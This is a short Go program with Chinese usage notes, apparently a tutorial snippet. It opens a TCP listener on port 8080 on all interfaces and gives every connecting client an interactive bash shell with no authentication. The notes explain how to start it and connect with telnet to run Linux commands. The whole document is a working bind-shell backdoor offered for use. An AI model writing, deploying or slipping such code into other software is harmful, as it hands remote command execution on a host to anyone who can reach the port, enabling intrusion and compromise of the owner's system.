package main
import (
"io"
"net"
"os/exec"
)
func main() {
var (
listener net.Listener
err error
conn net.Conn
)
listener, err = net.Listen("tcp", ":8080")
if err != nil {
panic(err)
}
for {
conn, err = listener.Accept()
if err != nil {
panic(err)
}
go handler(conn)
}
}
// 函数处理
func handler(conn net.Conn) {
var (
cmd *exec.Cmd
wp *io.PipeWriter
rp *io.PipeReader
)
defer conn.Close()
cmd = exec.Command("/bin/bash", "-i")
cmd.Stdin = conn
rp, wp = io.Pipe()
cmd.Stdout = wp
go io.Copy(conn, rp)
cmd.Run()
}
启动 go run main.go
新打开一个窗口
telnet 127.0.0.1 8080
输入对应linux指令便可执行